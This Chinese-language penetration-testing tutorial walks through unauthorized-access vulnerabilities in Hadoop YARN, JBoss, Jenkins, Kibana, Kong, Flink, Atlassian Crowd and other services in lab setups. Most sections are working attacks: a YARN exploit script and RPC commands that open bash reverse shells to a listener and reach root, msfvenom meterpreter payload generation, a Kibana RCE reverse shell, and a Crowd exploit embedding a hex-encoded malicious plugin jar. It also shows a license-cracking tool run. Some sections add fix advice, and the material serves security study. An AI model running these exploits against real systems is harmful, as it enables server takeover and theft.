dubbo>pwd
/
如果服务具有命令执行功能,则使用 “invoke” 命令可能会执行命令,因为 “invoke” 命令用于调用特定的服务方法。
Hadoop YARN resourcemanager 未授权访问漏洞
漏洞描述
负责对资源进行同一管理调度的ReasourceManager组件的UI管理界面开放在8080/8088端口,攻击者无需认证即可通过REST API部署任务来执行任意命令,最终可完全控制集群中所有的机器。
环境搭建
使用vulhub
[root@localhost ~]# ls /opt/vulhub-master/hadoop/unauthorized-yarn/
docker-compose.yml exploit.py README.md[root@localhost ~]# docker-compose up
访问8088端口,可以看到Hadoop YARN ResourceManager WebUI界面。
漏洞利用
启动nc
[root@localhost ~]# nc -lvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
攻击脚本
[root@localhost unauthorized-yarn]# cat exploit.py
#!/usr/bin/env pythonimport requeststarget = 'http://127.0.0.1:8088/'
lhost = '192.168.32.131' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {'application-id': app_id,'application-name': 'get-shell','am-container-spec': {'commands': {'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,},},'application-type': 'YARN',
}
requests.post(url, json=data)
成功攻击成功
Hadoop Yarn RPC未授权访问漏洞
漏洞简述
Hadoop Yarn作为Hadoop核心组件之一,负责将资源分配至各个集群中运行各种应用程序,并调度不同集群节点上的任务执行。Hadoop Yarn默认对外开放RPC服务,攻击者可利用RPC服务执行任意命令,控制服务器。
同时由于Hadoop Yarn RPC服务访问控制机制开启方式与REST API不一样,因此即使在 REST API有授权认证的情况下,RPC服务所在端口仍然可以未授权访问。
环境搭建
https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
需要修改docker-compose.yml,添加8032端口映射。
curl请求8032端口。
[root@localhost tmp]# curl http://192.168.32.183:8032
It looks like you are making an HTTP request to a Hadoop IPC port. This is not the correct port for the web interface on this daemon.
漏洞利用
EXP:https://github.com/cckuailong/YarnRpcRCE
[root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "curl 0dccw6.dnslog.cn"
log4j:WARN No appenders could be found for logger (org.apache.hadoop.util.Shell).
log4j:WARN Please initialize the log4j system properly.
log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info.
查看日志
反弹shell
[root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "bash -i >& /dev/tcp/192.168.32.183/9999 0>&1"
成功建立连接
[root@localhost tmp]# nc -lvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 172.19.0.5.
Ncat: Connection from 172.19.0.5:59812.
bash: cannot set terminal process group (271): Inappropriate ioctl for device
bash: no job control in this shell
<00863_0003/container_1658816800863_0003_01_000001# whoami
whoami
root
<00863_0003/container_1658816800863_0003_01_000001#
漏洞修复
- Apache Hadoop官方建议用户开启Kerberos认证。
- 设置 Hadoop RPC服务所在端口仅对可信地址开放。
- 建议升级并启用Kerberos的认证功能,阻止未经授权的访问。
InfluxDB API 未授权访问漏洞
JBoss未授权访问漏洞
漏洞描述
JBoss 是一个管理 EJB 的容器和服务器,支持 EJB 1.1、EJB 2.0 和 EJB3 的规范。但 JBoss 核心服务不包括支持 servlet/JSP 的 WEB 容器,一般与 Tomcat 或 Jetty 绑定使用。JBoss 默认在 8080 端口监听。
在低版本的 JBoss 中,默认可以访问 JBoss Web 控制台(http://IP:8080/jmx-console),无需用户名和密码。通过 JBoss 未授权访问管理控制台的漏洞,可以进行后台服务管理,可以通过脚本命令执行系统命令,如反弹 shell、wget 写 Webshell 文件。
环境搭建
这里用CVE-2017-7504的漏洞环境,启动环境
[root@localhost CVE-2017-7504]# docker-compose up
浏览器访问8080端口
漏洞复现
发现jboss默认页面,点击进入控制页
假设是未授权访问的话,点击JMX-Console
不会提示输入用户名、密码,而这个地方用的是别的漏洞的环境,用户名密码都是admin、admin,所以就假装是不用输入用户名密码的
往下找jboss.deployment进入应用部署页面
进入应用部署页面后,下滑找到void addURL()
,这里ParamValue
部分填写远程服务器上的木马的地址。
访问iceword
路径,就可以看到webshell
Jenkins未授权访问漏洞
漏洞描述
部署Jenkins 1.62版本,将全局授权策略打开,目前新版本的Jenkins已默认需要用户登录,但老版的中默认配置是"任意用户可以做任何事",存在未授权访问的问题。
环境搭建
选择1.62版本进行下载,http://archives.jenkins-ci.org/war-stable/1.625.1/jenkins.war
将WAR包丢到tomcat的webapps里面,启动tomcat
漏洞复现
进入管理页面:http://192.168.32.131:8080/jenkins/manage
进入脚本命令行,后缀输入script进入脚本命令行,输入:println "ls".execute().text
,就可以执行ls
命令。
Jupyter Notebook 未授权访问漏洞
漏洞描述
Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。
如果管理员未为 Jupyter Notebook 配置密码,将导致未授权访问漏洞,游客可在其中创建一个 console 并执行任意 Python 代码和命令。
环境搭建
version: '2'
services:web:image: vulhub/jupyter-notebook:5.2.2command: start-notebook.sh --NotebookApp.token=''ports:- "8888:8888"
运行后,访问 http://your-ip:8888
将看到 Jupyter Notebook 的 Web 管理界面,并没有要求填写密码。
漏洞复现
选择 new -> terminal 即可创建一个控制台:
直接执行任意命令:
Kafka Manager 未授权访问漏洞
漏洞描述
Kafka Manager是一款用于管理和监控Apache Kafka集群的工具。如果Kafka Manager未正确配置并对外开放,攻击者可能会未授权访问Kafka Manager,从而获取敏感信息,如Kafka集群的配置和使用情况。
此外,如果攻击者具有足够的权限,他们还可以操作Kafka集群,如创建主题、修改配置等,对系统造成威胁。
环境搭建
zookeeper
docker run -d -p 2181:2181 -e TZ="Asia/Shanghai" wurstmeister/zookeeper:latest
kafka-manager
docker run -d -p 9000:9000 -e ZK_HOSTS=192.168.32.183:2181 sheepkiller/kafka-manager:latest
漏洞利用
访问9000端口,即可未授权访问Kafka管理界面
查看集群信息。
Kibana 未授权访问漏洞
漏洞描述
Kibana 未授权访问漏洞是指在 Kibana 未正确配置认证和授权的情况下,未经身份验证的用户可以访问 Kibana 的仪表板、数据及其他敏感信息。这种漏洞可能会导致数据泄露、攻击者控制 Kibana 环境以及其他安全威胁。
环境搭建
安装elasticsearch
cd /opt
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.5.3.tar.gz
tar -zxvf elasticsearch-6.5.3.tar.gz
cd elasticsearch-6.5.3
useradd es
chmod 777 -R /opt/elasticsearch-6.5.3
./bin/elasticsearch
安装kibana
wget https://artifacts.elastic.co/downloads/kibana/kibana-6.5.3-linux-x86_64.tar.gz
tar xvf kibana-6.5.3-linux-x86_64.tar.gz
cd kibana-6.5.3-linux-x86_64
./bin/kibana
浏览器访问5601端口。
漏洞利用
exp:https://github.com/LandGrey/CVE-2019-7609
[root@localhost CVE-2019-7609-master]# python CVE-2019-7609-kibana-rce.py -u 127.0.0.1:5601 -host 192.168.32.130 -port 9999 --shell
[+] http://127.0.0.1:5601 maybe exists CVE-2019-7609 (kibana < 6.6.1 RCE) vulnerability
[+] reverse shell completely! please check session on: 192.168.32.130:9999
Kong未授权访问漏洞
漏洞描述
Kong未授权访问漏洞(CVE-2020-11710)是指在Kong API网关系统中存在未授权访问漏洞,攻击者可以利用该漏洞获取或修改管理员凭证、读取任意文件以及远程执行任意代码。该漏洞由于Kong API网关系统未对请求进行严格验证导致。
影响版本
Kong < V2.0.3
环境搭建
创建Docker网络
[root@localhost ~]# docker network create kong-net
8c13241e04425db93e67c0c69c1adb7ca8adcb2701d67b43f2c20f4e76b9d613
拉取并启动PostgreSQL容器
docker run -d --network=kong-net -p 5432:5432 -e "POSTGRES_USER=kong" -e "POSTGRES_DB=kong" -e "POSTGRES_PASSWORD=kong" postgres:9.6
数据库安装后,可进入postgres容器,创建kong用户及数据库kong
docker exec -it container_id /bin/bash
#切换用户
su postgres
#进入命令
psql;
#创建用户kong及密码
create user kong with password 'kong';
#创建数据库kong
create database kong owner kong;
#查看创建后的数据库(可省)
\l
初始化数据库
docker run --rm \--network=kong-net \-e "KONG_DATABASE=postgres" \-e "KONG_PG_HOST=kong-database" \-e "KONG_PG_USER=kong" \-e "KONG_PG_PASSWORD=kong" \-e "KONG_CASSANDRA_CONTACT_POINTS=kong-database" \kong:2.0.2 kong migrations bootstrap
启动kong
docker run -it \--network=kong-net \-e "KONG_DATABASE=postgres" \-e "KONG_PG_HOST=kong-database" \-e "KONG_PG_PASSWORD=kong" \-e "KONG_CASSANDRA_CONTACT_POINTS=kong-database" \-e "KONG_PROXY_ACCESS_LOG=/dev/stdout" \-e "KONG_ADMIN_ACCESS_LOG=/dev/stdout" \-e "KONG_PROXY_ERROR_LOG=/dev/stderr" \-e "KONG_ADMIN_ERROR_LOG=/dev/stderr" \-e "KONG_ADMIN_LISTEN=0.0.0.0:8001, 0.0.0.0:8444 ssl" \-p 8000:8000 \-p 8443:8443 \-p 8001:8001 \-p 8444:8444 \kong:2.0.2
漏洞利用
访问http://192.168.32.130:8000
利用 Admin Restful API ,在Kong Gateway上注册一个新的"服务"(web API) 指向内网的敏感站点 http://192.168.32.130:8000
$ curl -i -X POST http://127.0.0.1:8001/services --data name=target --data url='http://192.168.32.130:8000'
添加一个路由,paths[]
的值为 /site1
,name的值为 111111
curl -i -X POST http://127.0.0.1:8001/services/target/routes --data 'paths[]=/site1' --data 'name=111111'
Kubernetes Api Server 未授权访问
漏洞描述
Kubernetes 的服务在正常启动后会开启两个端口:Localhost Port (默认8080)、Secure Port (默认6443)。这两个端口都是提供 Api Server 服务的,一个可以直接通过 Web 访问,另一个可以通过 kubectl 客户端进行调用。如果运维人员没有合理的配置验证和权限,那么攻击者就可以通过这两个接口去获取容器的权限。
环境搭建
ubuntu 18.04
下载
wget https://github.com/kubernetes/minikube/releases/download/v1.18.1/minikube-linux-amd64
mv minikube-linux-amd64 minikube
chmod 777 minikubewget "https://storage.googleapis.com/kubernetes-release/release/v1.18.3/bin/linux/amd64/kubectl" -O "/usr/local/bin/kubectl"
chmod 755 /usr/local/bin/kubectl
启动K8S
sudo sysctl -w net/netfilter/nf_conntrack_max=131072
./minikube start --kubernetes-version=v1.18.3 --force --driver=docker --extra-config=apiserver.anonymous-auth=true
启动仪表盘
root@l-virtual-machine:/opt# ./minikube dashboard
* Enabling dashboard ...- Using image kubernetesui/dashboard:v2.1.0- Using image kubernetesui/metrics-scraper:v1.0.4
* Verifying dashboard health ...
* Launching proxy ...
* Verifying proxy health ...
http://127.0.0.1:35293/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/
把K8S API映射出去
root@l-virtual-machine:/opt# kubectl proxy --port=8088 --address='0.0.0.0' --accept-hosts='^.*'
Starting to serve on [::]:8088
漏洞检测
仪表盘
http://192.168.32.141:8088/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/#/overview?namespace=default
漏洞修复
- 进行授权认证;
- 使用Service Account令牌;
- 设置防火墙策略,限定IP访问服务;
LDAP未授权访问漏洞
介绍
LDAP的全称为Lightweight Directory Access Protocol(轻量级目录访问协议), 基于X.500标准, 支持 TCP/IP。
LDAP目录为数据库,通过LDAP服务器(相当于DBMS)处理查询和更新, 以树状的层次结构来存储数据,相对关系型数据库, LDAP主要是优化数据读取的性能,适用于比较少改变、跨平台的信息。
LDAP属性
属性 | 全名 | 描述 |
---|---|---|
dn | distinguished name | 唯一标识名,类似于绝对路径,每个对象都有唯一标识名。 例如:uid=tester,ou=People,dc=example,dc=com |
rdn | relative | 相对标识名,类似于相对路径。 例如:uid=tester |
uid | user id | 通常指用户登录名。 例如:uid=tester |
sn | sur name | 通常指一个人的姓氏。 例如:sn: Su |
giveName | 通常指一个人的名字。 例如:giveName: Aldwin | |
I | 通常指一个地方的地名。 例如:I: Beijing | |
objectClass | objectClass是特殊属性,包含数据存储的方式以及相关属性信息。 | |
dc | domain component | 通常指定一个域名。 例如:dc=example,dc=com |
ou | organization unit | 通常指定一个组织单元的名称。 例如:ou=people,dc=example,dc=com |
cn | common name | 通常指一个对象的名称。如果是人,需要使用全名。 |
c | country | 一个二位的国家代码。 例如:CN、US、HK、JP等。 |
环境搭建
docker run -p 389:389 -p 636:636 --name my-openldap-container --detach osixia/openldap:1.5.0
漏洞复现
docker exec my-openldap-container ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w admin
Memcached未授权访问漏洞
漏洞描述
Memcached是一个高速缓存系统,用于存储网络上的大量动态数据。未授权访问漏洞指的是,在没有对Memcached的访问控制的情况下,任意人可以在未经授权的情况下访问和读取存储在Memcached中的数据。这可能导致敏感信息泄露,包括用户密码、信用卡信息等。
环境搭建
wget http://memcached.org/files/old/memcached-1.4.14.tar.gz
tar -zxvf memcached-1.4.14.tar.gz
cd memcached-1.4.14.tar.gz
./configure && make && make test && sudo make install
启动Memcached
漏洞利用
扫描端口
[root@localhost bin]# nmap -p 11211 -sV 192.168.32.183Starting Nmap 6.40 ( http://nmap.org ) at 2022-07-26 06:35 EDT
Nmap scan report for 192.168.32.183
Host is up (0.000052s latency).
PORT STATE SERVICE VERSION
11211/tcp open memcached Memcached 1.4.14Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.32 seconds
缓存管理命令:
stats
命令的功能正如其名:转储所连接的 memcached 实例的当前统计数据。在下例中,执行 stats 命令显示了关于当前 memcached 实例的信息
以上信息显示了当前的流量统计。它服务于连接数量、数据存储到缓存中、缓存命中率以及有关内存使用情况的详细信息以及通过用于存储单个项目的平板分配信息的分布。
flush_all
命令。这个最简单的命令仅用于清理缓存中的所有名称/值对。如果您需要将缓存重置到干净的状态。
统计slabs信息
使用msf找到key
msf6 > search memcached_extractorMatching Modules
================# Name Disclosure Date Rank Check Description- ---- --------------- ---- ----- -----------0 auxiliary/gather/memcached_extractor normal No Memcached ExtractorInteract with a module by name or index. For example info 0, use 0 or use auxiliary/gather/memcached_extractormsf6 > use auxiliary/gather/memcached_extractor
msf6 auxiliary(gather/memcached_extractor) > show optionsModule options (auxiliary/gather/memcached_extractor):Name Current Setting Required Description---- --------------- -------- -----------RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'RPORT 11211 yes The target port (TCP)THREADS 1 yes The number of concurrent threads (max one per host)msf6 auxiliary(gather/memcached_extractor) > set rhosts 192.168.32.183
rhosts => 192.168.32.183
msf6 auxiliary(gather/memcached_extractor) > run[+] 192.168.32.183:11211 - Found 0 keys
[*] 192.168.32.183:11211 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
ActiveMQ未授权访问漏洞
漏洞描述
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
Apache ActiveMQ管理控制台的默认管理用户名和密码分别为admin和admin,用户可以未经授权使用默认凭据直接访问服务器,导致敏感信息泄露,并进一步进行攻击。
环境搭建
Download: http://archive.apache.org/dist/activemq/apache-activemq/5.5.0/apache-activemq-5.5.0-bin.tar.gz
[root@localhost bin]# ./activemq start
INFO: Using default configuration
(you can configure options in one of these file: /etc/default/activemq /root/.activemqrc)INFO: Invoke the following command to create a configuration file
./activemq setup [ /etc/default/activemq | /root/.activemqrc ]INFO: Using java '/usr/bin/java'
INFO: Starting - inspect logfiles specified in logging.properties and log4j.properties to get details
INFO: pidfile created : '/tmp/apache-activemq-5.5.0/data/activemq.pid' (pid '2173')
Vulnerability Reproduction
直接访问:http://192.168.32.183:8161/admin/queues.jsp
修复方案
编辑 ${ACTIVEMQ_HOME}/conf/jetty.xml
开启身份验证,将authenticate属性改为true:
<property name="authenticate" value="true" />
编辑文件conf/jetty-realm.properties
来更改Apache ActiveMQ的默认管理用户名和密码,格式如下:
重启服务就可以进行鉴权
Apache Flink未授权访问漏洞
漏洞描述
Apache Flink Dashboard默认没有用户权限认证,攻击者可以通过未授权的Flink Dashboard控制台直接上传木马jar包,可远程执行任意系统命令获取服务器权限。
环境搭建
测试版本:flink-1.15.1
修改flink-1.15.1/confflink-conf.yaml
,将8081端口开启。
启动flink
start-cluster.sh
漏洞利用
访问web页面。
利用msfovenom生成rce.jar
┌──(root💀kali)-[/tmp]
└─# msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.32.130 LPORT=4444 -f jar > rce.jar
Payload size: 5310 bytes
Final size of jar file: 5310 bytes
配置msf监听
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 1291.68.32.130
lhost => 1291.68.32.130
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
在Submit New Job处上传rec.jar
文件,点击submit。
成功getshell。
Atlassian Crowd 未授权访问漏洞
CVE-2019-11580
漏洞概述
Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了了pdkinstall开发插件,使其存在安全漏漏洞洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限
影响版本
- 2.1.0 <= version < 3.0.5
- 3.1.0 <= version < 3.1.6
- 3.2.0 <= version < 3.2.8
- 3.3.0 <= version < 3.3.5
- 3.4.0 <= version < 3.4.4
环境搭建
下载搭建Atlassian-crowd-3.4.3,配置漏洞环境,下载crowd3.4.3的版本
wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip
修改配置文件
[root@localhost atlassian-crowd-3.4.3]# pwd
/opt/atlassian-crowd-3.4.3
[root@localhost atlassian-crowd-3.4.3]# vim crowd-webapp/WEB-INF/classes/crowd-init.properties
更改主目录的路径
启动crowd
[root@localhost atlassian-crowd-3.4.3]# sh start_crowd.sh
To run Crowd in the foreground, start the server with start_crowd.sh -fg
Using CATALINA_BASE: /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_HOME: /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_TMPDIR: /opt/atlassian-crowd-3.4.3/apache-tomcat/temp
Using JRE_HOME: /usr
Using CLASSPATH: /opt/atlassian-crowd-3.4.3/apache-tomcat/bin/bootstrap.jar:/opt/atlassian-crowd-3.4.3/apache-tomcat/bin/tomcat-juli.jar
Using CATALINA_PID: /opt/atlassian-crowd-3.4.3/apache-tomcat/work/catalina.pid
Tomcat started.
访问8095端口
得到服务器 id B1DP-2T7V-FIPR-PEBO
后通过破解程序atlassian-agent.jar
获取许可证信息
生成破解码
[root@localhost tmp]# java -jar /opt/atlassian/atlassian-agent.jar -d -m test@test.com -n test.cn -p crowd -o http://192.168.32.183:8095 -s B1DP-2T7V-FIPR-PEBO ====================================================
======= Atlassian Crack Agent v1.3.1 =======
======= https://zhile.io =======
======= QQ Group: 30347511 =======
====================================================Your license code(Don't copy this line!!!): AAABoQ0ODAoPeJxtUU1v4jAUvPtXRNpzgh1KPpAsbZsYLd18LdAeuJnwaLwkDnIcCvz6JiRopVUvt
jRjv5k382PTgvHalobtGBjPiT/HrsHCjWFj20aBAq5FLUOugfaIiV3TdhA787K9M/TAywZQCE2ux
OmOvMlSVELD3ihFDrIBY3c1Cq1PzXwyuRWiBEvUKFUfXIpmGNKzHUl82yKOZ027y5vOPezPUK7qz
70VDZM21xMkvAIapHHMVsHyORofrDVXGtRoJ6il5rlmMRcl1dDon/1h5XWFRk+/eFPQOPgMFiE5y
lqz/Xa2Za/xkXHnskicJ3ebV8/FH5Jx6YC6pW01+ZveDgW/2NHNW11+f1CKuvlSg+QyB3Y5CXUdg
/L8PijsotH3MqTRMlyzxIyIM/O6xciTS3xvNN9ZFWegWrWA1qDOoLoPLyTMTHvjvpuLZbYyM/aSo
iNc30E1fWTEwdjF3nRKHiLfO8halRe8gf8rHJQ7lAcg++Tu6gOatNUOVHp4azoxapJHaA9tG63b3
b/CB98sod8sODZxL23oQH4BfpvL4jAsAhQt6OiEcmsu5eD6OZo5HBm8DIwpLwIUN7XS/JQ44Zrlu
tReQFf42Id/W0E=X02k4
安装完成
漏洞利用
CVE-2019-11580.py利用脚本
import requests
import sysbanner = '''\n _______ ________ ___ ___ __ ___ __ __ _____ ___ ___ / ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ /_ | ____|/ _ \ / _ \ | | \ \ / /| |__ ______ ) | | | || | (_) |______| || | |__ | (_) | | | || | \ \/ / | __|______/ /| | | || |\__, |______| || |___ \ > _ <| | | || |____ \ / | |____ / /_| |_| || | / / | || |___) | (_) | |_| |\_____| \/ |______| |____|\___/ |_| /_/ |_||_|____/ \___/ \___/ \npython CVE-2019-11580.py http://xx.xx.xx.xx\n
'''
print bannerdef is_url(url):upload_url = url + "/crowd/admin/uploadplugin.action"r = requests.get(upload_url, verify=False)if r.status_code==400:print upload_urlsend_poc(url)else:print "No Exit /crowd/admin/uploadplugin.action !"def send_poc(url):url_vuln = url + "/crowd/admin/uploadplugin.action"headers = {'User-Agent': 'curl/7.29.0','Accept': '*/*','Content-Length': '5739','Expect': '100-continue','Content-Type': 'multipart/mixed; boundary=----------------------------f15fe87e95a7'}s ="2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d6631356665383765393561370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2266696c655f63646c223b2066696c656e616d653d227263652e6a6172220d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6f637465742d73747265616d0d0a0d0a504b03041400000008007c7ef14e544c2527eb0000000402000014001c0061746c61737369616e2d706c7567696e2e786d6c55540900039bd32e5da8d32e5d75780b0001040000000004000000007d91416ec3201045d7ce29107b20c91a23e50039c4044f53140c16e0a8bd7d260527ae5595dd7c66febc0f1a8a879c1d0431f9f9ea02bbe177cf6d1ca51dbccc9fe8bdc4af89b30023f6fcb4b4b33304b862e2acce6571c7945d0c3d3f72669f5d7fd9981da3a3eb8c70e12356a5aa90606c8bde5c0314101643c124c87082e22e1eb9296946ad7e66561e03669bdc5488c46c61473269b85aad1bdfe32d8439c8bddc6bb594955afdc2de753a63ba7b2c0d99f2f9e80aaf4ff8aafe798beee93a272f2814c50b4691aed55aa93d6bd80bd8db106362505823caaa9128dab089d6e9e59290b5dafe37890f504b03040a00000000001b7ff14e00000000000000000000000004001c00636f6d2f5554090003c6d42e5dc9d42e5d75780b000104000000000400000000504b03040a00000000001b7ff14e00000000000000000000000008001c00636f6d2f63646c2f5554090003c6d42e5dc9d42e5d75780b000104000000000400000000504b03040a0000000000d07df14e0000000000000000000000000e001c00636f6d2f63646c2f7368656c6c2f555409000357d22e5d59d22e5d75780b000104000000000400000000504b03041400000008008878f14ec2481cb07d0100008d03000016001c00636f6d2f63646c2f7368656c6c2f43646c2e6a61766155540900036fc82e5dbdc82e5d75780b0001040000000004000000008d934d4fc3300c86effd15a617523e22384f3d21049c400c890b97909a35903621714711da7fc75187e8b60ee14395da799fbcb15baff49b5a2068d7485d59196bb4769665a6f12e10bcaaa5ea65c4b0b448b226f2f268362e4ae3e44deb3b9a5340d5b0d277cfd668d056c508179505ec09db2a4eb1aef9311f12f09565c0b1962f9da9a072574862b4e91edf3b8c0401df4f60231fbd6b237221164c827550f81cbda5609ba65d806eaa7258caa5b21ddebe0866ca05d29d0aaa41c220f28ba6ca8b6236a5771df19dcb3cdfacee9e97c2bc8038e01325bb57368a9ca913db52dc05a791fbe6cbfbae25d360b2b45e8a42628f5a3069cbd44f8c06911c963ea94749f10f1d8630e82e4370e16f9d69097479f87476385dffa88d45104297ec4632a9127cf383124ecff73520050f3119780c268da1901f69c1945a8542efb1b2dac96e6656a015e95a5cf61a3d19d7f26739e56118ec71993fb5f931f692dc30f1ed16fcd227c8db60949e19dc61fed91e82d238a60da45596adb26f504b030414000000080085b2f04ecafaf82fe50000000418000017001c00636f6d2f63646c2f7368656c6c2f2e44535f53746f726555540900031add2d5d09df2d5d75780b000104000000000400000000ed98316ec2401045ff382e564ab365ca2da922e5062b0305752e100815b2e42aa95d71176ec1cdc0667e0292b1945444e13f69f40acf8cd7cdee8e0158f5b17e0122800037b6b84a600c2868f3e87a6cb0c427968bba79bfde6b809d9a4fb1468de7cbfa55ddacb8b05d1793c3891f7615420821c418e60a8fb75d8610e20fd2ef0f89ce74eb363e2fe8f2a226d289ce74eb36e6157449073ad289ce74ebe6a6651c3e8c6f364e2816e944e75f7db21077c3832bf6e7ff1ca3f3bf10e21f63e5ec7556e17b2018d09fb5a98b37e6ecbf0a472e0285ff307cc2392fd1996eddba0c08710b8e504b0304140000000800b178f14ed0054a4648030000fa05000017001c00636f6d2f63646c2f7368656c6c2f43646c2e636c6173735554090003bdc82e5d09df2d5d75780b0001040000000004000000008d545d7b1345147e274d32dbedf62ba594fa010202295016152b2608d852a05ad2d214b0f8b9dd8c6571b39b6e26b5fa33bcf4c6cb5e7313409fc71fe02ff12f78637d674925ad7da479f63967e6cc39ef79cf999cf9e3ef5f7f077009be8d31142d4cf4e12cced9388f490b178c766d5cc43b46bc6be33d5c32e27d1b53f8a00f97f1a18d12ca1257243eb23188a211572d5cb33180eb6673ddac3e9698969811c85f09a2405f15e8294edc17c8cec4352530381f44aad2aaafaa64d95b0d69c9d5e25b4a0b2c15e71f7b1bdea6db54c946a8b4fb48eb867b9ba2fac2b0a4d65baaa9cbaf746b36e2a8a9ca266b7f557bfe7777bc469a2ca576436256e2a6c42d89db2c47c0aec6adc457370343c79aa985174c060747304ef633f51a831ccce1138639f814f302707007158905078bb8eb600955023a58c63d07f7718fd00e1ee033e672b08287129f3bf8025f0a8c186c37f4a2357776d3570d1dc491c0d84b6b552741b436dd0ac29a4a1c7c85af0584ede01b90d2aaa134ecc775d7af856ef3910a439784058efe7f53044e1da8b902a70fd65d81a1bd9449eca56931897dd56ceed41bc4ee5cd468697a2aaf2ee0ac29bde8255e5d699530e98bbbef462b4ffcd7242037bcb0a516bedd13b2b0fa58f97aff903c2bf3423219dd2fe2e12ed64bad480775166793dfbf9bd1623770c74ce4acda54bec0995790efb482010344ddd586b11de4ddfde9b8ce26499cecb866a96ae930cd09f4f2f44112a4bdebc65864f2ce41b9abf55d66cedbf76641c0e29c9990bcd768a888c89307ba83ceff92e8968e77eefd5071dfce0f364cde74029713cf57388ec37c7bcc2f0361c68bf235eedea4e64c2177f629c4132e045ea7cca74623df485de82a8a0ceda5f5c77385cc73f464f00cd94a2157ca4e16726de47fc6e56790936d58a5dc380dbda5bc517649f64c59e3f936fa56a6accc2f289c7f0e87376bfdd446ffd6f69f5b3859cafd86c195a7181acfb6315c285098d011ea360e95b25bb02a041e7d420643a8e02e1f3b601d9a3a93f29da61db0f936f471d5cff2067082efe204771731ccd7b4806b1861ec11461f4695cd5867a4a6678bd5fdc03a8f12e106f2db74ee953826f196c4718913e97752e26d7eecca36dd737bce615eb7537fe1985159f6eb74dae833ff00504b030414000000080080b2f04e5e4c2ce8970100000418000011001c00636f6d2f63646c2f2e44535f53746f726555540900030fdd2d5dc8c82e5d75780b000104000000000400000000ed98cf4e833018c0bf32a61063e460e28e5c4c3cecb0c5cd1d8c09c179d8cd04a387693618c491205d06932862780d7d239fc0c751fe7c1ad0ede06953fb4b9a5f295f5b0aa4a500005167661340020001727322cc45c0f40d0ecd2789646d383d878e0c871af35b62ac1ce9b3ab820763b0c0293dbff495384cd2de5b46165d8834026f82912fc6c4b13dbfd178255c85afaead0ba228889be29536a681e6ebfecc53f5693f3d3ad5fdb181f9334a9dcfbc6e9cdb563090b68fa9ebebb66b4db3cab66925219717b66bd240a533d7f4fa8513594703a91686ad76bb2eb7daada82e879d4e23c9ef1f449128ecec368f7ac39bbbfbf0217a7ccac74c080e7eebcbcd782e0fd1f4468e915c242917df6a53d7a1ee35646f3d83c160fc4270f61236967b190c06630549e70719ada0e3dc04cf7368be504742cb68051de72618c7a179b48096d0325a41c7b971d222b8f920d833c11d0a91d0325af9d190198c7f43259794aeff278bf7ff0c06e30f43f8aed65561f1ef8c74ad959334fca800e50f012ce331365d8a6b857219ada0e3dcec4380c15816ef504b030414000000080080b2f04e7261dc5f94010000041800000d001c00636f6d2f2e44535f53746f726555540900030fdd2d5dc8c82e5d75780b000104000000000400000000ed98cf4e833018c0bf32548831723071472e261e76d8e2e60ec684e03cec6632a3876936188b2341ba0c2651c4f01afa463e818fa3fcf9749bba83a7e9fc7e49f32be52b6d81b4140060fad8aa00280020416e41866f91307d41408b4962e93578cf74b8899723fe02e9b32b400f2c709aceccf33b48d2ee6b4616895166e00d31ead91c3ab6e797cb2f4c28882bab6b922c4bf2867cd91af0a0e51bfed8d38d513b3d3a31fc8189f953ce9d8fbc619ed9fda0a36c1d71d7376cb73fca2adb563f09b938b75d8b073a1fbb96d79e3a9135d4518a6158add54a6ab5568d4a6a58af9793fcde7e14c9d2f64ee5b0d9bdbebd0befa387c77cac8ce1a0373fdd84a7c9f02cafe7984907d9a4e8a635721dee5e41f6961304412c01389b49eb8bed064110bf90747e50d11a3acecdf0bc8016a7ea286815ada1e3dc0ce304b48896d00a5a456be838374e5a0c371f0c5b66b84361b8f5602a5afbd19009e2df50c8a5a4ebfff1fcfd3f41104b0c131bad860ef37f6fa46bad9aa4ee7b0598fd10c0321163d3a5b83855aea235749c9b3e04086251bc01504b0304140000000800b57df14ef98bc46d88010000c303000016001c00636f6d2f63646c2f7368656c6c2f6578702e6a61766155